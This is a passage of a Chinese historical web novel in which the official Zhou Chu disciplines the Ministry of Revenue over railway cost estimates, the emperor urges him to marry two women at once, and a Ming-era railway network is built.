“本官和周大人私交甚好,周大人可以说是算无遗策,诸位可以想一下,咱们这位指挥使大人,从上任以来,何事做过这等因私废公之事?” 张璁继续追问道。 “大人的意思是?” 户部侍郎听出了张璁的言外之意,神情恭敬道。 “周大人整治工部之前,恐怕早就想好了修建这个所谓的铁路,可当时的工部,那些官员上下其手,倘若我等将这个工程交给工部,他们又会贪墨多少,诸位想过没有?” 张璁瞥了一眼众人,冷笑道。 众人听到这话,顿感汗毛直竖,原本他们还想着趁着这个机会捞一笔,但听到张璁这么一说,顿感后怕,倘若他们真的这么做了,恐怕工程一开始,他们就会被北镇抚司清算。 “多谢大人提点。” 户部侍郎恭敬行礼道。 “如今朝廷给诸位的俸禄不可谓不高,国库充盈,每年年底朝廷还会给诸位一笔不菲的奖励,倒也不是不让诸位拿这个钱,肉过手还蹭一手油呢,只要诸位不要有不该有的心思,不想着多拿多占,本官相信周大人不会为难你们的。” 张璁眼看敲打的效果达到了,满意地点了点头道。 “只是这其中的分寸很难拿捏,还望大人去周大人那里探探口风。” 户部侍郎有些忐忑道。 “罢了,本官替你们走一趟吧。” 看着众人殷切的眼神,张璁叹了口气道。 “多谢大人。” 户部众官员纷纷行礼道。 至此,张璁算是户部官员的人心全部收拢了。 “少爷,户部尚书张大人让人送了拜帖。” 周楚刚从皇宫之中回来没多久,春兰就拿着一个拜帖来到了周楚面前。 以如今周楚在京城的权势,每天往周府送拜帖,试图走门路的人数不胜数,这些拜帖九成以上都会被春兰直接过滤掉,拿捏不定的会来询问周楚的意见。 但像张璁这种级别的官员递的帖子,春兰是没资格处理的,这种春兰需要直接汇报周楚。 “张秉用....” 周楚接过张璁的拜帖,口中念叨着张璁的名字。 “不用理会。” 周楚看完帖子之后,说道。 对于张璁,周楚也有两三年没见了,周楚也不清楚现如今的张璁是何种想法,何种作态。 不过今日户部给皇帝递的核算奏疏,就足够周楚因此对张璁敲打一番的。 至于这个核算奏疏是不是张聪的意思,这并不重要,重要的是,张璁此时是户部尚书,这个锅必须得由他来背。 周楚这么做一方面是为了敲打张璁,另一方面也是做给户部那些官员看的。 只有如此,才能让户部的那些官员看到自己的态度,不敢胡乱伸手。 张璁回到家之后,等了半天没等到周府的回帖,不禁一脸苦笑,他很清楚,周大人这是对自己心生不满了。 至于原因,张璁比谁都清楚,无外乎是之前的那个奏疏。 正所谓在其位谋其政,自己身为户部尚书,那个核算成本的奏疏无论如何都要自己背锅的。 “明日一早,再去给周府送个拜帖。” 张璁看着管家,吩咐道。 “是,老爷。” 管家恭敬道。 张璁在江南的时候,跟着周楚学到了很多东西,虽说张璁年岁比周楚大很多,但在官场上,周楚做事老辣,沉稳,极有章法,这一点无论是张璁,亦或是严嵩,跟着学了很多。 张璁在南直隶做了两三年的巡抚,早已不是当初刚入仕的那个张璁,如今的张璁做事沉稳,并没有因为周楚没给他回帖就急躁。 他很清楚,这是自己向周大人表明态度的一个机会,每日送拜帖,便表明自己还是当初那个唯周楚马首是瞻的张璁。 第二天一早,周楚又收到了张璁的拜帖,看都没看,随手丢在了一旁。 “大人,您没见到周大人吗?” 户部衙门之中,户部侍郎看着张璁,有些着急道。 张璁瞥了一眼户部侍郎,没有说话。 户部侍郎顿时意识到自己失言了,急忙恭敬行礼。 “大人恕罪,属下失言。” 张璁听到这话,才放下手中的杯子。 “你们很着急吗?如果着急的话,自己去给周府递帖子。” 张璁冷笑道。 “大人哪里的话?我等哪敢给周大人递帖子。” 其他官员纷纷说道。 “既然不敢,那就好好等着,要不是因为你们利欲熏心,写了这么一封奏疏,陛下和周大人又岂会生我的气?” 张璁拍了拍桌子道。 他在怎么说都是户部尚书,户部的一把手,该给手下好脸色的时候给,不该给的时候就该有户部尚书的威严。 户部一众官员听到这话,一个个噤若寒蝉,不敢多言。 “耐心等着便是,周大人代表的是皇上,周大人的态度代表的就是皇上的态度,你们还不明白吗?这个奏疏恐怕周大人早就看过了。” 张璁说着拿出那封被驳回的奏疏,摔在了桌子上。 户部官员听到这话,一个个愈发后怕,倘若皇帝没把这个奏疏给这位指挥使大人看,就这么过了,他们都不敢想周楚知道这件事之后,会如何做。 恐怕昭狱之中会有他们的位置。 “大人英明神武,都怪我等,不知天高地厚,以后大人指东,我等绝不往西。” 户部侍郎是个变脸高手,此时满脸谄媚的对着张璁拍马屁。 而且拍的极其肉麻。 这话倘若私下里说还没什么,但此时户部侍郎能当着众人的面,面不改色的说出这番话,这让户部的其他官员纷纷感到一阵不适,内心感到极其尴尬,偏偏户部侍郎一副极其认真的表情。 这让其他人愈发觉得尴尬,却又没人敢说一句。 张璁听到这话,作为被拍马屁的人,倒是极其受用,他当然知道这话有多肉麻,但户部侍郎,三品大员,如此当众说出这么不要脸的话,这让张璁切实的享受到了权利给自己带来的东西,张璁只会享受,又怎么会觉得尴尬? 第三日是小朝会,张璁上朝之后,四处都没看到周楚,不禁有些失望。 小朝会主要讨论的不是别的,正是铁路的修建问题,在朝会上,杨一清红光满面的向百官讲述了一下火车以及蒸汽机的具体运行,原理他是不知道的,也只能讲个大概。 “首辅大人,下官听闻这蒸汽机和火车正是您的孙子杨盛斋做的?” 杨一清刚说完,捧哏的官员出现了,朝堂之上想要拍杨一清马屁的如同过江之鲫,但如何拍,如何能让杨一清这个老狐狸极其受用才是关键。 很显然,这位掌握了其中的精髓,仅仅是一句话,就让杨一清的嘴角再也压不住了。 “盛斋只是参与,还有很多他的其他同窗一起参与,无论是蒸汽机,还是火车,都是周大人提出的构想,盛斋也只是周大人的学生,不值一提,不值一提。” 杨一清嘴上说着不值一提,嘴角却咧到了耳后根。 第343章 张璁的拜访,周楚的敲打 早在昨日,张璁就特意安排了管家,今日一早就往周府递帖子。 张璁从小朝会回家之后,管家急忙拿着周府的回帖来到了张璁面前。 “老爷,周府回帖了。” 张璁原本还因为早朝有些困顿,听到这话,顿时精神了,急忙接过周府的回帖,看了又看。 “备轿.....不......备马,我要骑马去见周大人。” 张璁不禁想起了当初在苏州府的时候,周大人带着自己和严嵩骑马前往堤坝,并且亲自参与修筑堤坝。 虽说如今不必修筑堤坝了,但自己的姿态要做足,再怎么说坐着轿子去周府都有些不太合适。 很快,张璁就从管家手中接过马的缰绳,翻身上马,在南直隶的这两年多,张璁苦练过马术,毕竟君子六艺之中就有骑射。 虽说如今的读书人为了科举,不怎么讲究君子六艺了,但如今的张璁已经不需要科举了,为了追求古圣贤,也为了防止下次周楚骑马带着他们去其他地方,总之有备无患,张璁如今的马术早已今非其比。 张璁一路骑马来到了周府门口,翻身下马,向门房递上周府的回帖。 “张大人,请进。” 门房说着为张璁牵马,把张璁的马牵到了周府的马厩之中,有御马监的那几个太监喂着精细的草料。 张璁跟着春兰一路来到了周楚的书房之中。 “下官见过周大人。” 进入书房之后,张璁看到周楚正在书案上练字,并没有抬头看自己,急忙行礼道。 周楚听到这话,才抬眼瞥了一眼张璁,放下手中的笔。 “张大人这话言重了,本官不过是三品官罢了,张大人贵为户部尚书,如何称得上下官?” 周楚看着张璁,面无表情道。 张璁听到这话,心说你可是左柱国啊,正一品的勋贵,位极人臣,活着的正一品,纵观如今的整个大明,也只有你一人了吧? 更不用说还有个正一品的光禄大夫的荣誉官职在身。 不过这话张璁也就想想,是不会说出来的。 “大人说的哪里的话?下官是大人一手提拔起来的,不管下官是什么身份,在大人面前都是下官。” 张璁神情恭敬道。 “张大人这话可不能乱说,本官当初看你是个实心任事的,才向陛下举荐了你,没想到如今张大人身居高位之后,却忘了自己的本心。” 周楚冷眼看着张璁,并不接他的话茬。 张璁听到这话,心中一阵苦笑,明白该来的终于来了。 “大人恕罪,这件事确实是下官的过失,下官没有管好手下的那些官员,下官认罚。” 张璁并没有急着推卸责任,他很清楚,在官场上,面对上级的责问之时,最忌讳的就是第一时间就去推卸责任。 这样的话上官心中多半会看不起你。 真相到底如何,上官真的不知道吗?他其实比谁都清楚,他要的就是借着这件事敲打你,以显示他的威严,倘若此时你顾左右而言他,多半会失去上官的器重和信任。 果然,周楚听到这话,脸色缓和了不少,坐了下来。 “张大人初到户部,也不容易,手下的人各个都有自己的想法,不过你身为户部尚书,应当尽快整顿户部,将整个户部抓在手中才是。” 周楚示意旁边伺候的侍女倒茶,一边喝着茶,一边说道。 “大人说的是,这方面下官确实力有未逮,不过经过此事,下官前两日借着大人的威严对他们一顿敲打,效果倒也不俗,想来以后户部之中,这些人不会乱来了。” 张璁说着说着,又不着痕迹地拍了周楚一个马屁。 “张大人坐吧,尝尝我这龙井如何,这可是今年最早的一批狮峰龙井,采的全是嫩芽。” 周楚冲着张璁笑道。 张璁听到这话,顿时松了口气,他明白周大人这关他算是过了。 他坐下之后,旁边的侍女为其斟茶。 张璁抿了一口,顿觉口齿生津。 “大人的狮峰龙井和下官喝的确实不太一样,下官那里虽然也有一些,但和大人的一比,就差远了,想来不是今年的头一茬雨后龙井。” 对于茶叶,张璁很有研究,不只是张璁,在京城为官的,哪个对茶对酒不了解? 无论是狮峰山的龙井,亦或是苏州府的碧螺春,这些都是顶好的绿茶,不过最好的那一批,产量总是极其有限的。 就像狮峰山的雨后头茬龙井,那个时候的龙井茶叶最嫩,味道也最为美妙,但这头一茬的龙井产量极其有限,大部分都落在了当地官员的手中。 当然,当地官员也舍不得喝,这些茶叶,他们都得用来送礼,走门路。 周楚这两年虽然没在京城,但绍兴知府董瑞每年一到清明前后,第一批雨后龙井出来的时候,第一时间就会让人将茶叶送到周府。 这是他对周楚的孝敬,他倒也不想着升官发财,在绍兴就挺好,他早已习惯了绍兴的生活,走这些门路,也不过是为了保住自己的官职罢了。 剩下的头茬龙井,很多进了皇宫之中,剩下的,像谢迁这等致仕在家的,又离狮峰山不太远的大佬,头茬龙井肯定要给他留不一部分的。 再往后才是内阁首辅杨一清这些官员,当然,杨慎也有,毕竟杨慎不只是内阁阁老,还是大明文坛的泰山北斗,浙江的官员仰慕杨慎的不知凡几,但并不是所有人送的杨慎都会收,甚至大部分他都会拒之门外,只收关系亲近些的,比如杨廷和的学生送来的茶叶。 对于张璁的话,周楚也只是笑笑,没说什么。 “大人,户部也拿捏不准这铁路的成本几何,要让他们一点都不碰,倒也做不到,还请大人示下,成本多少合适?” 张璁看着周楚的笑容,眼看着时机差不多了,这才说出了自己的目的。 “你们都想过一手油,本官也明白,倒也不是让你们户部一点都不碰,只是你们之前给出的核算成本实在是有些离谱,木材和钢铁的成本居然比市面上的还要高两成左右,如此大批量的采购木材,实在不行就从安南弄木材,安南那些名贵木材虽然贵,但一般的木材要多少有多少。” 周楚说着看了一眼张璁,发现张璁听的极其认真,这才点了点头。 “如此一来,大批量购买木材的成本只有市面价格的五成左右,陛下说了,铁路的修建要分段修....” 周楚将铁路如何分段修,每一段由哪些人承建,详细的和张璁说了一遍,张璁听的很仔细,生怕遗漏了什么。 “陛下和大人思虑周全,只有如此,才能在保证铁路修建速度的同时,保质保量。”Www.XSZWω8.ΝΕt 张璁说道。 “以枕木为例,成本是市面上价格的五成左右,你们核算成本的时候可以相应提高一些,市面上价格的七八成即可,如此一来,那些承建铁路的藩王府或者其他人也就有利可图。” 周楚看着张璁道。 周楚还有一句话没说,这个报价,你们户部的官员也不至于一点都捞不着。 实际上五成的成本价周楚还说高了一些,周楚相信,以户部官员的手段,可以拿到更低的价格,比如四成。 这些都不是周楚需要操心的了。 “至于钢铁,陛下准备在各地建造炼钢所,如此一来,钢铁集体熔炼,价格将会大幅度降低,还有东瀛那边,也会建造一个大的炼钢所,为那些没有铁矿的地区提供钢铁,至于钢铁的成本,你们也要心里有数。” 价格一事,周楚只需要提出木材的报价,张璁和户部有了这个模板之后,其他东西该如何报价,自然就清楚了。 倘若任何东西都需要周楚事无巨细的交代一遍,还要张璁这个户部尚书干什么?还要户部那些官员做什么? “下官明白了,多谢大人提点。” 张璁起身,恭敬行礼道。 张璁离开周府之后,顿感神清气爽,困扰着自己和户部官员的报价问题,就这么迎刃而解了,如此一来,户部那些官员谁还敢不听自己的话? 张璁回到户部衙门,户部那些官员本想围上来,但想起之前张璁发火,这些人心中又有些发怵,生怕触了这位尚书大人的霉头。 “今日本官去了周府一趟。” 张璁看着众人,说道。 其他人一听这话,顿时来了精神。 “大人,周大人对报价问题有何指示?” 户部侍郎适时搭话道。 “大人只说了枕木的报价,不过其他的也都大差不差,你们心中要有数才行。” 张璁说着将周楚之前的话挑选能说的说了出来。 户部官员听到这些话,心里顿时有了数。 这个报价,虽然他们捞不到多少钱,但也是有利可图的,而且如果从安南或者南洋大批量弄木材的话,他们觉得木材的成本还可以进一步压缩。 “安南那边,是谁负责对接的?” 户部侍郎看着众人说道。 “回大人的话,户部是由下官负责。” 一个五品官出列道。 不论是户部,亦或是工部,还是礼部,都有相应的官员和安南乃至整个东南亚对接。 不过不同部门的官员负责的具体事务也有所不同,户部和安南那边对接的基本都是财物和税收问题,礼部则是外交和科举问题,如今安南彻底被大明收复,和安南之间倒也没了外交问题。 不过和东南亚其他国家还是有的。 至于工部,那就更简单了,和安南交接的官员,基本都是冲着那边来的物料去的。 工部负责施工,很多物料,原材料都要从从南亚弄。 按理来说,东南亚木材的成本问题,由工部去对接更合适,户部只需要给工部压力即可。 “你去户部,让他们和安南那边负责对接的人,好好谈一谈木材的成本价,尽一切手段将木材的成本压下去,当然,前提是要保证木材的质量。” 户部侍郎看着这个官员,吩咐道。 户部的官员听到这话,顿时来了精神。 因为成本压缩下去的越多,代表着他们就有更多的利益可图。 这一部分他们捞的钱,周楚和皇帝是不会过问的,既想马儿跑,就要让马儿吃草,想要保证铁路的迅速修建,户部的这些官员有利可图很重要。 “大人,下官和工部的那些官员很熟,下官愿意帮忙。” 一个四品的户部官员主动请缨道。 有了此人带头,其他人纷纷站了出来。 这件事关系到户部所有人的利益,他们生怕工部那些人不能把价格谈下来。 “你们也要注意方式方法,周大人给了你们空间,但前提是要保质保量,不能因为压缩成本,就做出一些逾矩之事。” 张璁喝了口茶,看着斗志昂扬的众人,说道。 “大人放心,有大人掌舵,我等断不会犯错。” 户部侍郎行礼道。 张璁听到这话,满意地点了点头。 “先把铁路成本核算奏疏写出来,递上去吧。” 张璁看着众人说道。 这个核算奏疏,当然是户部众人商议,然后由张璁提笔,写了递到嘉靖面前。 嘉靖再次收到户部的成本核算奏疏,打开一看,顿时惊了。 之前户部给出的报价,大概比市面上的价格高了两成左右,现在的报价居然只有市面价格的八成不到。 少出了近四成的报价! 要知道铁路的修建是一个极其浩大的工程,其中需要花费的资金也是海量的,根据户部的报价,一里的铁路修建就需要两万两左右。 从京城到大同就六百多里,按照户部的报价,那便是一千多万两。 更不用说京城到太原了,一千公里左右。 而且京城修到大同的铁路不可能只修到太原,还要往草原上修,这么一算下来,单单是这几条铁路修完,没有个四五千万两是拿不下来的。 户部这次核算的成本直接缩减了四成,倘若按照之前的奏疏,朝廷需要花的钱恐怕得上亿两白银。 一想到这里,嘉靖就很是高兴。 “快去把周衡器叫来。” 嘉靖看着黄锦说道。 第344章 嘉靖的提议:不如都娶了 “陛下。” 周楚来到御书房之中,行礼道。 “衡器,这是户部递上来的核算成本的奏疏,你看看。” 嘉靖说着将奏疏递给了周楚。 周楚打开折子看了看,这次的报价倒是很老实,基本上是按照周楚给出的价格范畴,像枕木,周楚说七八成,户部的官员就取了个中间数,七成多,不到八成。 其他的材料报价基本也都大差不差。 “这次的报价倒是差不多,这个价格可以让各地承建的藩王府和其他人有利可图,倘若无利可图的话,就没人愿意干了。” 周楚说道。 “户部前后两次报价怎么会相差如此之大?” 嘉靖看着周楚,有些疑惑道。 其实这其中的原因,嘉靖大致是知道的,张璁去周府拜访周楚,自然是瞒不过嘉靖的耳目的,毕竟周府那五个太监可不是摆设。 但嘉靖又不想让周楚觉得自己时时监视着他,虽然这是两人都心知肚明的事,但言语之间要留有余地,否则就显得咄咄逼人了。 “户部张大人昨日去找了臣,臣敲打了他一番。” 对于张璁的事,周楚自然没必要隐瞒。 “不愧是你啊衡器,你这一番敲打,让朝廷节省了近四成的开支,这可是很大的一笔款项。” 嘉靖高兴道。 “陛下言重了,即便是没有臣的这些话,户部也是慢慢把报价降下来,只不过需要慢慢试探摸索,如今陛下皇威浩荡,户部的这些官员也不敢有什么小心思,臣只不过是锦上添花罢了。” 周楚谦虚道。 嘉靖听到这话,愈发高兴了。 “衡器,有件事,朕不知道当讲不当讲?” 嘉靖看着周楚,叹了口气道。 “陛下请说。” 周楚说道。 “你这个年岁,也到了谈婚论嫁的年纪了,朕那表妹林瑶,你也是认识的,应该还很熟悉,她对你可是一往情深,这些年为了你的事她没少来找朕,朕都推脱了,但现在朕实在不知该如何推脱了。” 嘉靖看着周楚,煞有介事道。 周楚听到这话,陷入了沉默之中。 周楚很清楚,皇帝希望自己能娶了林瑶,毕竟林瑶是县主,也算是半个皇家之人,自己娶了林瑶,和皇室也算是亲上加亲了。 这不禁让周楚想起了先秦的商鞅,为了变法得到秦国宗室的支持,最后不得不放弃自己的红颜知己,娶了秦王室的公主。 “可是这两年臣和云瑾这么多年,特别是这两年在西藏,云瑾和臣可谓是患难与共,这两年西藏的形势波谲云诡,那些人疯起来什么都做得出来,好几次臣都差点陷入绝境,都是云瑾和沈炼大柱他们救了臣。” 周楚看着嘉靖,说道。 “朕也知道云瑾那丫头早就对你情根深种,朕也不是棒打鸳鸯之人,你可以两个都娶了嘛。” 嘉靖提议道。 “可是两个都娶了的话,谁算正妻?” 周楚为难道。 倘若让云瑾做正妻,林瑶作为县主是万万不能当妾室的,如果让林瑶当正妻,那么周楚也接受不了。 “这个简单,两个都当正妻便是,到时候朕直接下一道圣旨,为你专开此例。” 嘉靖大手一挥道。 这天下,没什么比皇帝的圣旨更大的,倘若嘉靖特意为周楚开一道圣旨,内阁票拟通过的话,那么天下之人也不会说什么。 “陛下容臣好好考虑考虑,如今云瑾不过十五岁,不着急。” 周楚说道。 “行,你好好想想,朕算是看出来了,林瑶是非你不嫁,朕也没什么好办法。” 嘉靖为难道。 周楚很清楚,嘉靖这话是说给自己听的,说白了眼前的这位皇帝还是希望自己能娶了林瑶。 当然,对于娶林瑶一事,周楚倒也没什么太大的抵触心理,只是这件事如何处置的妥善,才是问题。 所以这件事宜缓不宜急,事缓则圆。 户部的核算奏疏被嘉靖批了,嘉靖批复之后,将折子送到了内阁,内阁杨一清等人看到奏疏上户部上报的成本,都惊了。仦說Ф忟網 “户部的这些人转性了?怎么报的这么低?” 杨一清看着折子,满脸不解道。 “他们倒是想伸手,但首辅大人忘了周衡器之前不是刚刚清理过工部吗?大人不会以为咱们的这位指挥使大人对工部动手,仅仅只是为了个人恩怨吧?” 夏言看着折子,瞬间明白了户部一众官员的心思,有周楚这把剑悬在他们头上,这些人还真不敢捞太多。 杨一清听到这话,顿时恍然。 “原来如此,周衡器恐怕早就有了修建铁路的想法了,处理工部那些人是为了敲打户部,妙啊,走一步看十步,不愧是周衡器。” 杨一清赞叹道。 “诸位,票拟吧。” 杨一清看着其他人道。 最终的结果不言而喻,这么低的报价,内阁没有不通过的道理,如今的内阁可不是曾经的内阁,即便是夏言,很多事也不敢明着来。 内阁批复之后,公文很快就下发到了户部,户部开始运转了起来,对工部拨款,上压力。 工部需要负责的事务就太多了,和安南的那些人对接是他们的工作,其他原材料的采购也都是他们需要解决的。 如今的六部,最忙的是工部,可谓是忙的团团转,户部的官员则在工部身后不断地给压力。 从京城到大同的这段铁路,后半段主要被代王府承建了,前半段则由很多京城本地的商人承建,再怎么说这都是大工程,不是某一个人能吃得下的。 承建的同时,工部的官员也告知了他们承建的责任划分,大致和周楚之前说的大差不差。 从京城到太原的这段铁路,则由一众商人和两三家藩王府共同承建,这些藩王府也只是离这条线路相对近一些,得知这个消息之后,无论如何都要拿下这个工程。 至于京城通往江南的铁路,这条路最远,承建方最多,光是这条铁路,就有七八个藩王府参与,更不用说其他参与其中的商人了。 至于剩下那些想参与承建却没捞到的,嘉靖也要做出适当的安抚。 “这三条铁路只是开始,以后整个大明都会修满铁路,以后有的你们忙的。” 各地藩王府的代表都进京了,为的就是抢夺工程,嘉靖安排了周楚安抚这些人,毕竟周楚和各地藩王府的人关系都不错。 除了晋王府。 晋王府这次甚至没能承接到通往太原的铁路修建。 “大哥,你叫我所为何事?” 周楚看着陆炳忧心忡忡的模样,说道。 陆炳叫周楚,并非在陆家,而是在醉仙楼。 这让周楚有些摸不着头脑。 “不是我叫你,是云瑾让我叫你的。” 陆炳这话刚说完,包厢的门被打开了,云瑾走了进来。 “前段时间陛下让你娶县主的事,我告诉云瑾了。” 陆炳看着周楚,有些不好意思道。 “无妨,这件事迟早要面对的。” 周楚听到这话,倒是坦然,并没有任何惊慌。 “二哥,不行的话你就娶了县主吧,强如商君,当年想要在秦国变法,还要娶秦国公主,你能否娶县主对陛下而言很重要,这决定着陛下以后对你的态度。” 云瑾看着周楚,说道。 这话说的很隐晦,但意思也很明确,倘若周楚执意不娶林瑶的话,以后嘉靖对周楚恐怕不会像现在这般信任了。 毕竟如今的周楚已经是左柱国,光禄大夫,还是锦衣卫指挥使,说一句权倾朝野毫不为过。 连户部尚书张璁都要看周楚的脸色行事,整个京城,除了皇帝,谁能做到这个地步? “你真是这么想的?” 周楚看着云瑾,有些调侃道。 在西藏的这两年,特别是最近一年,周楚和云瑾共同经历了无数的磨难,早已暗生情愫,只差最后一层窗户纸还没捅破罢了。 云瑾听到这话,看着周楚的表情,脸色微红。 “我确实是这么想的,和二哥要做的事一比,儿女情长根本不值一提。” 云瑾诚恳道。 周楚却是摇了摇头。 “事无大小,我做事只求无愧于心,这么多年你都跟着我了,以后也要跟着我。” 周楚看着云瑾,又看了看陆炳,说道。 一旁的陆炳此时觉得有些尴尬,想出去又觉得不合适,毕竟是他窜的局。 “陛下说了,衡器可以同时娶你们两个,到时候陛下专门下一道圣旨,你们两人都是正妻,没有平妻,也没有妾室。” 陆炳为了缓解尴尬,开口道。 “大哥,这件事以后再议吧,云瑾年龄尚小,再过两年也不迟。” 周楚看着陆炳说道。 周楚对林瑶,其实没有什么男女之情,但周楚处在现在这个位置,很多事做与不做,并不能完全的随心所欲。 刚开始的时候,周楚做事还可以随心所欲,但随着周楚做的事越来越多,位置也越来越高,做事需要愈发小心。 实际上无论是云瑾还是陆炳都很清楚,很多事周楚想要继续做下去,娶林瑶是最好的选择。 无论是陆炳还是云瑾,从来都不是只顾儿女情长之人,特别是云瑾,跟随周楚这么多年,看待事物的角度,早已不再局限于一个明朝女人的视角了。 云瑾很清楚,如今的大明正在蒸蒸日上,陆家的地位也在不断地水涨船高,无论基于任何层面考虑,她都觉得周楚应该娶了林瑶。 争风吃醋,从来都不是云瑾需要考虑的,云瑾从来都清楚,纵观整个大明,能和周楚同频的女人,根本不存在,即便是自己努力追赶,也只是勉强能跟在二哥身边罢了。 县主林瑶,和二哥根本没什么太多的共同话题,即便是成婚之后,用二哥的话说,那也是二哥对她向下兼容,云瑾从未把林瑶放在眼里过。 “那就以后再议,以后再议。” 陆炳说着端起酒杯,想要缓解一下气氛。 “衡器,咱们兄弟俩好久没喝酒了吧。” 周楚听到这话,笑着端起了酒杯,一旁的云瑾也端起了酒杯,三人碰杯,一饮而尽。 随后云瑾就离开了,留下陆炳和周楚在醉仙楼饮酒作乐。 “衡器,你不知道,当初我爹娘被下狱的时候,我刚得到消息,人都傻了,大狱之中什么情况我再清楚不过,倘若没人打点,我娘恐怕撑不了多少天,我当时害怕极了,骑着马一路就往京城赶,生怕慢一点就再也见不到我娘了。” 陆炳和周楚喝酒,完全放飞了自我,平日里他根本不敢喝醉,很多话憋在心里,也不知道该和谁说。 此时的陆炳已经喝的微醺,上头了,说这话的时候,仿佛置身多年以前,眼泪都流了下来。 “当我到了京城,得知是你在大狱之中不断打点,我当时心里不知道是什么滋味,我陆家出事,那些亲朋好友避之不及,只有你,只有你,衡器!” 陆炳一边说着,一边端起酒杯,一饮而尽。 “我看当时大哥倒是潇洒的很,没显得多么难过。” 周楚端起酒杯,陪了陆炳一杯,为了调节气氛,略带调侃道。 “我那时候是强装镇定罢了,我在京城待了一段时间,观察了你许久,发现云瑾跟着你,一点苦都没吃,苦全让你一个人吃了,我娘那句话说的没错,最初的一两个月,你饿的都快脱了像,云瑾却吃的脸圆嘟嘟的,我娘每次说起这些,都忍不住流泪,说苦了你了,这些话她没对你说过吧?” 陆炳苦笑一声道。 周楚听到这话,摇了摇头。 “婶子倒是没怎么和我说过这些。” “娘知道你是做大事的人,不想和你说一些儿女情长的事。” 陆炳叹了口气道。 “云瑾跟着你,学兵法,又拜了唐解元为师,丹青也是一流,倘若不是跟了你,她的命和京城之中其他那些贵女大概差不了多少,找个门当户对的人嫁了,又怎么会有现在的地位和经历。” 陆炳说到这里,再次端起了酒杯。 “衡器,我想告诉你的是,无论你怎么做,怎么选择,都可以,从来都是我陆家和云瑾欠你的,欠的数都数不清了,再多说这些就显得有些啰嗦了,一切都在酒中。” 陆炳说完一饮而尽。 周楚跟着陪了一杯。 第345章 一年时间,铁路竣工,火车试行 朝廷的公文一下,铁路开始正式动工。 为了防止各地承建铁路的藩王府和商人苛待修铁路的工人,周楚还特地让各地锦衣卫临时成立了巡视组。 对于修铁路的工人的工钱和伙食,周楚做出了严格的规定,这一点引起了朝堂之上很多官员的不满,因为大部分官员眼里,都没有这些最底层的百姓。 “周大人,户部给出的报价本身就很低,各地的承建方原本就利润微薄,倘若按照周大人说的标准去执行,那么这些承建方恐怕无利可图。” 朝堂上,工部的一个官员言辞激烈道。 周楚瞥了这个官员一眼,只是一个眼神,就让此人心里发毛,他不禁想起了前段时间这位刚刚查办了很多自己的同僚。 不过事已至此,他也只能硬着头皮上了。 “很简单啊,倘若他们觉得无利可图,大可以退出,朝廷不会强迫他们。” 周楚说道。 只是这一句话,就把此人怼的哑口无言。 “那些原材料,批量生产或者购买的话,只有市面上的五成,五成,还是本官往高了说的,拿枕木举例,你们工部和安南恐怕已经对接了,这些木材最终的价格不会高于市面上的四成,户部给出的报价是市面上的七成五,近九成成的利润,还不够多?不够他们给工人吃点好的?给足工钱?” 周楚并没有放过此人,或者说没有放过朝堂上的这些官员,言辞激烈道。 此话一出,满朝文武尽皆哗然,他们没有细算过其中的利润,此时周楚这么一说,他们才发现修建铁路还有如此高的利润。 这话一出,那户部的官员张了张嘴,却是一句反驳的话都说不出来。 “诸位整天说的为天下黎民百姓,难道这些修建铁路的工人,就不是我大明的子民,就不是我大明的百姓了吗?” 周楚却没准备放过他们,继续责问道。 这话一出,满朝文武尽皆失声。 只有一个人例外。 夏言。 夏言眼看着周楚因为这件事和无数官员站在了对立面,他很清楚,此时自己站出来说话,将会有想不到的好处。 “周大人此言差矣,那些负责修建铁路的,大多都是流民,流民能有一口饭吃,已经是朝廷的恩赐了,又怎敢奢求太多?” 夏言看着周楚,笑道。 “夏阁老此言不妥吧?流民只是没了耕地,又不是难民,不是活不下去,平日里流民就是靠给人做活养家糊口,该给的工钱一分都不会少,甚至那些地主家的长工,没到农忙的时候,顿顿还都要吃好的,怎么到夏阁老口中,这些流民好似难民一般?” 周楚还没反驳,杨慎直接出列反驳了夏言的话。 此时的夏言和杨慎都扮演者自己所需要扮演的角色,朝堂之上,皇帝就需要他们互相制衡,夏言很清楚,即便自己反驳周楚,皇帝也不会因此忌惮自己,反而会对自己愈发放心。 同时反驳周楚,还会让夏言获取更多的政治资源。 周楚作为锦衣卫指挥使,天然的和百官站在了对立面,如今又因为此事和百官争论,此时夏言站出来反驳周楚,不论成与不成,都有百利而无一害。 周楚自然也清楚,周楚也乐的看夏言出来和自己唱对台戏,倘若朝堂上成了自己的一言堂,这个官恐怕也快做到头了。 “用修所言不错,普天之下莫非王土,率土之滨莫非王臣,都是我大明的黎民百姓,夏阁老何故厚此薄彼?难道要伤了陛下君父的名声不成?” 杨一清也站了出来,反驳道。 夏言见这两人都反驳自己,不止不生气,心里反而高兴,反驳他的人越多,他的位置就越稳。 不过表面上,夏言还是要装作一副愤慨的模样。 “两位这话就是对本官的攻讦了,本官何时有这个意思了?” 夏言吹胡子瞪眼道。 “好了,就按衡器说的去办,着各地锦衣卫成立临时巡视组,负责监察各地铁路的修建进度和情况,一旦发现苛责百姓的,直接取消承建资格,罚没家产。” 嘉靖坐在龙椅上看了半天戏,终于给出了总结。 此言一出,再也没人说什么了。 毕竟之前周楚已经把那些要反驳的官员怼的哑口无言了,夏言反驳也只是强词夺理罢了,这一点谁都看得出来。 “陛下圣明!” 百官纷纷说道。 关于铁路修建的所有细节都已经敲定,三条铁路便开始同时动工。 各地的藩王府和那些承建的商人们,开始不断地招工,如此一来,需要的工人数量太多,只靠少数流民已经满足不了这么大的需求了。 很多农户趁着此时不算农忙的时候,也都跟着去修建铁路了,原本那些承建方想着的是工钱一个月一结,但如此一来招不够人,不得已,为了吸引更多的农户来修建铁路,他们给这些农户算的是日结。 如此一来,无数农户趁着农闲之时纷纷加入了铁路修建的队伍之中。 国库的钱,经过户部,流向工部,然后从工部流向那些承建方,其中一部分再由承建方到了这些修建铁路的百姓手中。 如此一来,负责修建铁路的这些百姓,都赚到了钱,底层的百姓手中有了多余的钱财之后,想着的都是置办家产,或者购买家具,亦或者给家中的孩子改善伙食。 如此一来,这三条铁路周围的经济,都被带了起来,往大同方向,往太原方向,包括往江南方向的路线,所有的百姓精气神都不一样了。 正所谓手里有钱心不慌,周楚之所以急着修建铁路,为的就是要把钱散给百姓,如此一来,百姓手里的钱多了,就会有一定的通货膨胀,那些士绅和地主手中的钱自然就没有原本值钱了。 当然,周楚也清楚,历史的修正性有多强,倘若没有人干预的话,这些钱最终又会通过各种各样的方式流入那些士绅和地主手中。 不过周楚还年轻,还有的是时间。 分段施工的方式保证了铁路的修建速度,每一段铁路责任到承建人,又保证了铁路的质量,如此一来,仅仅一年左右,三条铁路就保质保量的完成了。 